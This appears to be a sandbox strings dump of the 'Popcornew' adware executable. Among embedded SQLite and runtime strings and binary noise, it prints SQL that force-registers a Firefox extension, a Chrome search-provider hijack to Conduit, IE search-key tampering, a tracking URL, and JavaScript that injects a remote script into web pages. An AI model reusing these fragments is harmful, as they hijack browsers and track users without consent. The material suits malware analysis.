chrome.conduit.old_chrome_ver

chrome.conduit.old_chrome_ver

chrome.conduit.error

chrome.conduit.error

hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}

hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}

chrome.conduit.ver_installed

chrome.conduit.ver_installed

default_search_provider_data.template_url_data

default_search_provider_data.template_url_data

chrome.plugin.enable

chrome.plugin.enable

chrome.conduit.enable

chrome.conduit.enable

chrome.video_ads.enable

chrome.video_ads.enable

chrome.error

chrome.error

chrome.addons.

chrome.addons.

.no_data

.no_data

.state

.state

.disable_reasons

.disable_reasons

.crx_exist

.crx_exist

chrome.version

chrome.version

chrome.search_url

chrome.search_url

firefox.conduit.enable

firefox.conduit.enable

firefox.video_ads.enable

firefox.video_ads.enable

SELECT updateURL FROM addon WHERE id == "{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}"

SELECT updateURL FROM addon WHERE id == "{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}"

INSERT INTO addon VALUES (null, "{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}", "1wmRiFe01UO5", "app-profile", "2.5", "extension", "", "hXXps://popcornew.com/firefox/update.rdf", "", "", "", "", "", "", ?, 1, 1, 0, 0, 0, ?, 1373624626623, 1373624626623, 1, 0, 0, 435783, "hXXps://popcornew.com/firefox/Popcornew", "", 0, 0, 0, 0);

INSERT INTO addon VALUES (null, "{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}", "1wmRiFe01UO5", "app-profile", "2.5", "extension", "", "hXXps://popcornew.com/firefox/update.rdf", "", "", "", "", "", "", ?, 1, 1, 0, 0, 0, ?, 1373624626623, 1373624626623, 1, 0, 0, 435783, "hXXps://popcornew.com/firefox/Popcornew", "", 0, 0, 0, 0);

INSERT INTO targetApplication VALUES(?, "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}", "19.0", "50.*");

INSERT INTO targetApplication VALUES(?, "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}", "19.0", "50.*");

{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}

{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}

\\extensions\\{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}.xpi","installDate":1374485700380,"updateDate":1374485700380,"applyBackgroundUpdates":1,"bootstrap":true,"size":435783,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"hasBinaryComponents":false,"strictCompatibility":false,"locales":[],"targetApplications":[{"id":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","minVersion":"19.0","maxVersion":"50.0"}],"targetPlatforms":[]},

\\extensions\\{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}.xpi","installDate":1374485700380,"updateDate":1374485700380,"applyBackgroundUpdates":1,"bootstrap":true,"size":435783,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"hasBinaryComponents":false,"strictCompatibility":false,"locales":[],"targetApplications":[{"id":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","minVersion":"19.0","maxVersion":"50.0"}],"targetPlatforms":[]},

{"id":"{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}","syncGUID":"lirS1y4Qax0E","location":"app-profile","version":"2.5","type":"extension","internalName":null,"updateURL":"hXXps://popcornew.com/firefox/update.rdf","updateKey":null,"optionsURL":null,"optionsType":null,"aboutURL":null,"iconURL":null,"icon64URL":null,"defaultLocale":{"name":"Popcornew","description":"Popcornew","creator":"Popcornew OU","homepageURL":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"descriptor":"

{"id":"{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}","syncGUID":"lirS1y4Qax0E","location":"app-profile","version":"2.5","type":"extension","internalName":null,"updateURL":"hXXps://popcornew.com/firefox/update.rdf","updateKey":null,"optionsURL":null,"optionsType":null,"aboutURL":null,"iconURL":null,"icon64URL":null,"defaultLocale":{"name":"Popcornew","description":"Popcornew","creator":"Popcornew OU","homepageURL":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"descriptor":"

firefox.plugin.ver_installed

firefox.plugin.ver_installed

firefox.plugin.enable

firefox.plugin.enable

firefox.plugin.ver_conduit

firefox.plugin.ver_conduit

firefox.error

firefox.error

firefox.addons.

firefox.addons.

.name

.name

.visible

.visible

.active

.active

.user_disabled

.user_disabled

.app_disabled

.app_disabled

.xpi_exist

.xpi_exist

Unable to find firefox profiles

Unable to find firefox profiles

9%D,3

9%D,3

IE.conduit.enable

IE.conduit.enable

IE.conduit.ver_installed

IE.conduit.ver_installed

IE.conduit.error

IE.conduit.error

open search scopes key

open search scopes key

open crypto key

open crypto key

delete crypto key

delete crypto key

open default scope key

open default scope key

IE.default_search.name

IE.default_search.name

IE.default_search.url

IE.default_search.url

IE.default_search.error

IE.default_search.error

IE.addons.

IE.addons.

.installed

.installed

.enabled

.enabled

client.install_time

client.install_time

client.enable_state_report

client.enable_state_report

client.version

client.version

client.prev_version

client.prev_version

client.ext_version

client.ext_version

client.partner_id

client.partner_id

config.client.enable_o_dips

config.client.enable_o_dips

client.enable_o_dips

client.enable_o_dips

config.client_id

config.client_id

config.client

config.client

config.nodesrv.prefs

config.nodesrv.prefs

IE.plugin.enable

IE.plugin.enable

IE.plugin.use

IE.plugin.use

IE.plugin.installed

IE.plugin.installed

IE.plugin.enabled

IE.plugin.enabled

IE.plugin.disabled

IE.plugin.disabled

IE.plugin.attempt_cnt

IE.plugin.attempt_cnt

IE.plugin.attempt_time

IE.plugin.attempt_time

IE.plugin.quit_enabling

IE.plugin.quit_enabling

IE.plugin.enabled_after

IE.plugin.enabled_after

IE.version

IE.version

IE.version_svc

IE.version_svc

state_file.error

state_file.error

config.error

config.error

nodesrv.enable

nodesrv.enable

port

port

password

password

' ).;

' ).;

C:\Projects\boost_1_55_0\boost/xpressive/basic_regex.hpp

C:\Projects\boost_1_55_0\boost/xpressive/basic_regex.hpp

C:\Projects\boost_1_55_0\boost/xpressive/detail/dynamic/matchable.hpp

C:\Projects\boost_1_55_0\boost/xpressive/detail/dynamic/matchable.hpp

1.1.3

1.1.3

GetProcessWindowStation

GetProcessWindowStation

operator

operator

broken pipe

broken pipe

inappropriate io control operation

inappropriate io control operation

not supported

not supported

operation in progress

operation in progress

operation not permitted

operation not permitted

operation not supported

operation not supported

operation would block

operation would block

protocol not supported

protocol not supported

function not supported

function not supported

operation canceled

operation canceled

address_family_not_supported

address_family_not_supported

operation_in_progress

operation_in_progress

operation_not_supported

operation_not_supported

protocol_not_supported

protocol_not_supported

operation_would_block

operation_would_block

address family not supported

address family not supported

0123456789-

0123456789-

%b %d %H : %M : %S %Y

%b %d %H : %M : %S %Y

%m / %d / %y

%m / %d / %y

%I : %M : %S %p

%I : %M : %S %p

%d / %m / %y

%d / %m / %y

C:\Users\User\Projects\boxore-client\BUILD\PopcornewRelease\Popcornew.pdb

C:\Users\User\Projects\boxore-client\BUILD\PopcornewRelease\Popcornew.pdb

ole32.dll

ole32.dll

PSAPI.DLL

PSAPI.DLL

WINMM.dll

WINMM.dll

VERSION.dll

VERSION.dll

KERNEL32.dll

KERNEL32.dll

MsgWaitForMultipleObjects

MsgWaitForMultipleObjects

EnumChildWindows

EnumChildWindows

USER32.dll

USER32.dll

RegCloseKey

RegCloseKey

RegDeleteKeyW

RegDeleteKeyW

RegOpenKeyExA

RegOpenKeyExA

RegOpenKeyExW

RegOpenKeyExW

RegCreateKeyExW

RegCreateKeyExW

RegEnumKeyW

RegEnumKeyW

RegQueryInfoKeyW

RegQueryInfoKeyW

ADVAPI32.dll

ADVAPI32.dll

SHFileOperationW

SHFileOperationW

SHELL32.dll

SHELL32.dll

OLEAUT32.dll

OLEAUT32.dll

UrlUnescapeW

UrlUnescapeW

SHLWAPI.dll

SHLWAPI.dll

InternetCrackUrlW

InternetCrackUrlW

HttpOpenRequestW

HttpOpenRequestW

HttpSendRequestW

HttpSendRequestW

HttpQueryInfoW

HttpQueryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersW

HttpSendRequestA

HttpSendRequestA

HttpQueryInfoA

HttpQueryInfoA

WININET.dll

WININET.dll

urlmon.dll

urlmon.dll

GetCPInfo

GetCPInfo

zcÁ

zcÁ

.?AVFCHttpRequest@@

.?AVFCHttpRequest@@

.?AVFCHttpRequestManager@@

.?AVFCHttpRequestManager@@

.?AVHttpRequest@boxore@@

.?AVHttpRequest@boxore@@

.?AVHttpAsynchUpdate@boxore@@

.?AVHttpAsynchUpdate@boxore@@

:(:,:0:4:8:<:>

:(:,:0:4:8:<:>

1?2_2%3@3

1?2_2%3@3

?#?-?5?@?

?#?-?5?@?

1 2$2(2}2

1 2$2(2}2

: :$:(:,:

: :$:(:,:

1,1014181

1,1014181

= =$=(=,=0=4=8=

= =$=(=,=0=4=8=

0 0$0(0,0

0 0$0(0,0

!010A0Q0#2-272}3

!010A0Q0#2-272}3

4&424

4&424

4$4*454:4?4

4$4*454:4?4

2?3U3

2?3U3

;->

;->

9$9-999>9

9$9-999>9

6%6X6

6%6X6

1 2)2@2~2

1 2)2@2~2

8%9s9

8%9s9

: :$:(:,:0:4:8:<:>

: :$:(:,:0:4:8:<:>

6 6$6(6,6064686

6 6$6(6,6064686

1 1$1(1,1014181

1 1$1(1,1014181

; ;$;(;,;0;

; ;$;(;,;0;

;$;,;4;

;$;,;4;

1 1$1(1,1014181

1 1$1(1,1014181

;(;4;

;(;4;

6(646

6(646

7 7

7 7

888816666554443

888816666554443

6666554443

6666554443

!6666554443

!6666554443

Global\ASE-"5B97477E-937A-4535-9752-687437254B72"

Global\ASE-"5B97477E-937A-4535-9752-687437254B72"

GRange: bytes=%d-

GRange: bytes=%d-

Guistone_http_event_wnd

Guistone_http_event_wnd

hXXp://popcornew.com/o?c=%d&b=%d&t=%d&d=%s&i=%s&p=%d&v=%s

hXXp://popcornew.com/o?c=%d&b=%d&t=%d&d=%s&i=%s&p=%d&v=%s

Chrome_OmniboxView

Chrome_OmniboxView

hXXp://

hXXp://

config.js

config.js

Popcornew.crx

Popcornew.crx

Google\Chrome\User Data\

Google\Chrome\User Data\

lib/bxrCfg.js

lib/bxrCfg.js

extensions.sqlite

extensions.sqlite

extensions.json

extensions.json

extensions\{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}.xpi

extensions\{4585447E-5FD3-4281-BD73-DD57B2DCE8C5}.xpi

Popcornew.xpi

Popcornew.xpi

IMozilla\Firefox\Profiles

IMozilla\Firefox\Profiles

Bing.com

Bing.com

VVV.Bing.com

VVV.Bing.com

hXXp://VVV.bing.com/favicon.ico

hXXp://VVV.bing.com/favicon.ico

Global\{5B97477E-937A-4535-9752-687437254B72}

Global\{5B97477E-937A-4535-9752-687437254B72}

chrome.exe

chrome.exe

firefox.exe

firefox.exe

{82BE43A3-77AF-4978-B081-893EF286DC00}

{82BE43A3-77AF-4978-B081-893EF286DC00}

popcornew.com

popcornew.com

{"client_id": "%s"}

{"client_id": "%s"}

hXXp://dlmenager.net/

hXXp://dlmenager.net/

PingUrl

PingUrl

CrashReportUrl

CrashReportUrl

MoreInfoUrl

MoreInfoUrl

UsageStatsReportUrl

UsageStatsReportUrl

}; var heads = document.getElementsByTagName("head");if(heads.length > 0) {var node

}; var heads = document.getElementsByTagName("head");if(heads.length > 0) {var node

= document.createElement("script");node.type

= document.createElement("script");node.type

= "text/javascript";node.src

= "text/javascript";node.src

= document.location.protocol "//popcornew.com/min.js";node.defer

= document.location.protocol "//popcornew.com/min.js";node.defer

= "defer";node.id = "Popcornew";heads[0].appendChild(node);}}

= "defer";node.id = "Popcornew";heads[0].appendChild(node);}}

if(document.getElementById("Popcornew") == null) {window.PopcornewCfg = {id: "

if(document.getElementById("Popcornew") == null) {window.PopcornewCfg = {id: "

.rules

.rules

Chrome_WidgetWin_0

Chrome_WidgetWin_0

Chrome_WidgetWin_1

Chrome_WidgetWin_1

Chrome_RenderWidgetHostHWND

Chrome_RenderWidgetHostHWND

MozillaWindowClass

MozillaWindowClass

Firefox

Firefox

FFCB3198-32F3-4E8B-9539-4324694ED664

FFCB3198-32F3-4E8B-9539-4324694ED664

HTTP/1.0

HTTP/1.0

EFA7A511-B491-4312-BB35-4586B99E45ED

EFA7A511-B491-4312-BB35-4586B99E45ED

\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}

\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}

Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{

Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{

Software\Microsoft\Windows\CurrentVersion\Ext\Settings

Software\Microsoft\Windows\CurrentVersion\Ext\Settings

Software\Microsoft\Windows\CurrentVersion\Ext\Stats

Software\Microsoft\Windows\CurrentVersion\Ext\Stats

0.0.0.0

0.0.0.0

{00000000-0000-0000-0000-000000000000}

{00000000-0000-0000-0000-000000000000}

Unable to remove all components, while Firefox is running. Please, close Firefox and try again.

Unable to remove all components, while Firefox is running. Please, close Firefox and try again.

Unable to remove all components, while Chrome is running. Please, close Chrome and try again.

Unable to remove all components, while Chrome is running. Please, close Chrome and try again.

combase.dll

combase.dll

kernel32.dll

kernel32.dll

Wmscoree.dll

Wmscoree.dll

- floating point support not loaded

- floating point support not loaded

- CRT not initialized

- CRT not initialized

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

ADVAPI32.DLL

ADVAPI32.DLL

USER32.DLL

USER32.DLL

portuguese-brazilian

portuguese-brazilian

%Program Files%\Popcornew\Popcornew\popcornew.exe

%Program Files%\Popcornew\Popcornew\popcornew.exe

7, 3, 0, 0

7, 3, 0, 0

Popcornew.exe

Popcornew.exe

popcornew.exe_2548:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

,4,56,789

,4,56,789

j.Yf;

j.Yf;

_tcPVj@

_tcPVj@

.PjRW

.PjRW

r%f;M

r%f;M

CREATE TABLE sqlite_master(

CREATE TABLE sqlite_master(

sql text

sql text

CREATE TEMP TABLE sqlite_temp_master(

CREATE TEMP TABLE sqlite_temp_master(

SQLite format 3

SQLite format 3

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY_\

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY_\

3.7.17

3.7.17

sqlite_attach

sqlite_attach

RowKey

RowKey

SQL logic error or missing database

SQL logic error or missing database

unknown operation

unknown operation

large file support is disabled

large file support is disabled

sqlite_rename_table

sqlite_rename_table

sqlite_rename_trigger

sqlite_rename_trigger

sqlite_rename_parent

sqlite_rename_parent

sqlite_version

sqlite_version

sqlite_source_id

sqlite_source_id

sqlite_log

sqlite_log

sqlite_compileoption_used

sqlite_compileoption_used

sqlite_compileoption_get

sqlite_compileoption_get

GetProcessHeap

GetProcessHeap

foreign_keys

foreign_keys

sqlite_stat1

sqlite_stat1

sqlite_detach

sqlite_detach

SQLITE_

SQLITE_

d-d-d d:d:d

d-d-d d:d:d

d:d:d

d:d:d

d-d-d

d-d-d

failed to allocate %u bytes of memory

failed to allocate %u bytes of memory

failed memory resize %u to %u bytes

failed memory resize %u to %u bytes

922337203685477580

922337203685477580

API call with %s database connection pointer

API call with %s database connection pointer

os_win.c:%d: (%lu) %s(%s) - %s

os_win.c:%d: (%lu) %s(%s) - %s

delayed %dms for lock/sharing conflict

delayed %dms for lock/sharing conflict

%s-shm

%s-shm

%s\etilqs_

%s\etilqs_

%s\%s

%s\%s

recovered %d pages from %s

recovered %d pages from %s

recovered %d frames from WAL file %s

recovered %d frames from WAL file %s

cannot limit WAL size: %s

cannot limit WAL size: %s

invalid page number %d

invalid page number %d

2nd reference to page %d

2nd reference to page %d

Failed to read ptrmap key=%d

Failed to read ptrmap key=%d

Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)

Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)

%d of %d pages missing from overflow list starting at %d

%d of %d pages missing from overflow list starting at %d

failed to get page %d

failed to get page %d

freelist leaf count too big on page %d

freelist leaf count too big on page %d

Page %d:

Page %d:

unable to get the page. error code=%d

unable to get the page. error code=%d

btreeInitPage() returns error code %d

btreeInitPage() returns error code %d

On tree page %d cell %d:

On tree page %d cell %d:

On page %d at right child:

On page %d at right child:

Corruption detected in cell %d on page %d

Corruption detected in cell %d on page %d

Multiple uses for byte %d of page %d

Multiple uses for byte %d of page %d

Fragmentation of %d bytes reported as %d on page %d

Fragmentation of %d bytes reported as %d on page %d

Page %d is never used

Page %d is never used

Pointer map page %d is referenced

Pointer map page %d is referenced

Outstanding page count goes from %d to %d during this analysis

Outstanding page count goes from %d to %d during this analysis

unknown database %s

unknown database %s

keyinfo(%d

keyinfo(%d

%s(%d)

%s(%d)

%s-mjXXXXXX9XXz

%s-mjXXXXXX9XXz

MJ delete: %s

MJ delete: %s

MJ collide: %s

MJ collide: %s

-mjX9X

-mjX9X

foreign key constraint failed

foreign key constraint failed

unable to use function %s in the requested context

unable to use function %s in the requested context

bind on a busy prepared statement: [%s]

bind on a busy prepared statement: [%s]

zeroblob(%d)

zeroblob(%d)

abort at %d in [%s]: %s

abort at %d in [%s]: %s

constraint failed at %d in [%s]

constraint failed at %d in [%s]

cannot open savepoint - SQL statements in progress

cannot open savepoint - SQL statements in progress

no such savepoint: %s

no such savepoint: %s

cannot release savepoint - SQL statements in progress

cannot release savepoint - SQL statements in progress

cannot commit transaction - SQL statements in progress

cannot commit transaction - SQL statements in progress

sqlite_temp_master

sqlite_temp_master

sqlite_master

sqlite_master

SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid

SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid

cannot change %s wal mode from within a transaction

cannot change %s wal mode from within a transaction

database table is locked: %s

database table is locked: %s

statement aborts at %d: [%s] %s

statement aborts at %d: [%s] %s

cannot open value of type %s

cannot open value of type %s

cannot open virtual table: %s

cannot open virtual table: %s

cannot open view: %s

cannot open view: %s

no such column: "%s"

no such column: "%s"

foreign key

foreign key

indexed

indexed

cannot open %s column for writing

cannot open %s column for writing

misuse of aliased aggregate %s

misuse of aliased aggregate %s

%s: %s.%s.%s

%s: %s.%s.%s

%s: %s.%s

%s: %s.%s

%s: %s

%s: %s

not authorized to use function: %s

not authorized to use function: %s

%r %s BY term out of range - should be between 1 and %d

%r %s BY term out of range - should be between 1 and %d

too many terms in %s BY clause

too many terms in %s BY clause

Expression tree is too large (maximum depth %d)

Expression tree is too large (maximum depth %d)

variable number must be between ?1 and ?%d

variable number must be between ?1 and ?%d

too many SQL variables

too many SQL variables

too many columns in %s

too many columns in %s

EXECUTE %s%s SUBQUERY %d

EXECUTE %s%s SUBQUERY %d

misuse of aggregate: %s()

misuse of aggregate: %s()

%.*s"%w"%s

%.*s"%w"%s

%s%.*s"%w"

%s%.*s"%w"

%s OR name=%Q

%s OR name=%Q

type='trigger' AND (%s)

type='trigger' AND (%s)

sqlite_

sqlite_

table %s may not be altered

table %s may not be altered

there is already another table or index with this name: %s

there is already another table or index with this name: %s

view %s may not be altered

view %s may not be altered

UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;

UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;

UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

sqlite_sequence

sqlite_sequence

UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q

UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q

UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;

UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;

Cannot add a PRIMARY KEY column

Cannot add a PRIMARY KEY column

UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q

UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q

sqlite_altertab_%s

sqlite_altertab_%s

CREATE TABLE %Q.%s(%s)

CREATE TABLE %Q.%s(%s)

DELETE FROM %Q.%s WHERE %s=%Q

DELETE FROM %Q.%s WHERE %s=%Q

SELECT tbl,idx,stat FROM %Q.sqlite_stat1

SELECT tbl,idx,stat FROM %Q.sqlite_stat1

invalid name: "%s"

invalid name: "%s"

too many attached databases - max %d

too many attached databases - max %d

database %s is already in use

database %s is already in use

unable to open database: %s

unable to open database: %s

no such database: %s

no such database: %s

cannot detach database %s

cannot detach database %s

database %s is locked

database %s is locked

%s %T cannot reference objects in database %s

%s %T cannot reference objects in database %s

access to %s.%s.%s is prohibited

access to %s.%s.%s is prohibited

access to %s.%s is prohibited

access to %s.%s is prohibited

object name reserved for internal use: %s

object name reserved for internal use: %s

there is already an index named %s

there is already an index named %s

too many columns on %s

too many columns on %s

duplicate column name: %s

duplicate column name: %s

default value of column [%s] is not constant

default value of column [%s] is not constant

table "%s" has more than one primary key

table "%s" has more than one primary key

AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY

AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY

CREATE %s %.*s

CREATE %s %.*s

UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d

UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d

CREATE TABLE %Q.sqlite_sequence(name,seq)

CREATE TABLE %Q.sqlite_sequence(name,seq)

view %s is circularly defined

view %s is circularly defined

UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d

UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d

sqlite_stat%d

sqlite_stat%d

DELETE FROM %Q.sqlite_sequence WHERE name=%Q

DELETE FROM %Q.sqlite_sequence WHERE name=%Q

DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'

DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'

sqlite_stat

sqlite_stat

table %s may not be dropped

table %s may not be dropped

use DROP TABLE to delete table %s

use DROP TABLE to delete table %s

use DROP VIEW to delete view %s

use DROP VIEW to delete view %s

foreign key on %s should reference only one column of table %T

foreign key on %s should reference only one column of table %T

number of columns in foreign key does not match the number of columns in the referenced table

number of columns in foreign key does not match the number of columns in the referenced table

unknown column "%s" in foreign key definition

unknown column "%s" in foreign key definition

indexed columns are not unique

indexed columns are not unique

table %s may not be indexed

table %s may not be indexed

views may not be indexed

views may not be indexed

virtual tables may not be indexed

virtual tables may not be indexed

there is already a table named %s

there is already a table named %s

index %s already exists

index %s already exists

sqlite_autoindex_%s_%d

sqlite_autoindex_%s_%d

table %s has no column named %s

table %s has no column named %s

CREATE%s INDEX %.*s

CREATE%s INDEX %.*s

INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);

INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);

no such index: %S

no such index: %S

index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped

index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped

DELETE FROM %Q.%s WHERE name=%Q AND type='index'

DELETE FROM %Q.%s WHERE name=%Q AND type='index'

a JOIN clause is required before %s

a JOIN clause is required before %s

unable to identify the object to be reindexed

unable to identify the object to be reindexed

no such collation sequence: %s

no such collation sequence: %s

table %s may not be modified

table %s may not be modified

cannot modify %s because it is a view

cannot modify %s because it is a view

foreign key mismatch - "%w" referencing "%w"

foreign key mismatch - "%w" referencing "%w"

table %S has %d columns but %d values were supplied

table %S has %d columns but %d values were supplied

%d values for %d columns

%d values for %d columns

table %S has no column named %s

table %S has no column named %s

%s.%s may not be NULL

%s.%s may not be NULL

constraint %s failed

constraint %s failed

PRIMARY KEY must be unique

PRIMARY KEY must be unique

sqlite3_extension_init

sqlite3_extension_init

%s.%s

%s.%s

unable to open shared library [%s]

unable to open shared library [%s]

sqlite3_

sqlite3_

no entry point [%s] in shared library [%s]

no entry point [%s] in shared library [%s]

error during initialization: %s

error during initialization: %s

automatic extension loading failed: %s

automatic extension loading failed: %s

foreign_key_list

foreign_key_list

foreign_key_check

foreign_key_check

*** in database %s ***

*** in database %s ***

unsupported encoding: %s

unsupported encoding: %s

malformed database schema (%s)

malformed database schema (%s)

%s - %s

%s - %s

unsupported file format

unsupported file format

SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid

SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid

database schema is locked: %s

database schema is locked: %s

unknown or unsupported join type: %T %T%s%T

unknown or unsupported join type: %T %T%s%T

RIGHT and FULL OUTER JOINs are not currently supported

RIGHT and FULL OUTER JOINs are not currently supported

a NATURAL join may not have an ON or USING clause

a NATURAL join may not have an ON or USING clause

cannot have both ON and USING clauses in the same join

cannot have both ON and USING clauses in the same join

cannot join using column %s - column not present in both tables

cannot join using column %s - column not present in both tables

USE TEMP B-TREE FOR %s

USE TEMP B-TREE FOR %s

COMPOUND SUBQUERIES %d AND %d %s(%s)

COMPOUND SUBQUERIES %d AND %d %s(%s)

%s:%d

%s:%d

ORDER BY clause should come after %s not before

ORDER BY clause should come after %s not before

LIMIT clause should come after %s not before

LIMIT clause should come after %s not before

SELECTs to the left and right of %s do not have the same number of result columns

SELECTs to the left and right of %s do not have the same number of result columns

no such index: %s

no such index: %s

sqlite_subquery_%p_

sqlite_subquery_%p_

too many references to "%s": max 65535

too many references to "%s": max 65535

%s.%s.%s

%s.%s.%s

no such table: %s

no such table: %s

SCAN TABLE %s %s%s(~%d rows)

SCAN TABLE %s %s%s(~%d rows)

sqlite3_get_table() called with two or more incompatible queries

sqlite3_get_table() called with two or more incompatible queries

cannot create %s trigger on view: %S

cannot create %s trigger on view: %S

cannot create INSTEAD OF trigger on table: %S

cannot create INSTEAD OF trigger on table: %S

INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')

INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')

no such trigger: %S

no such trigger: %S

-- TRIGGER %s

-- TRIGGER %s

no such column: %s

no such column: %s

cannot VACUUM - SQL statements in progress

cannot VACUUM - SQL statements in progress

PRAGMA vacuum_db.synchronous=OFF

PRAGMA vacuum_db.synchronous=OFF

SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'

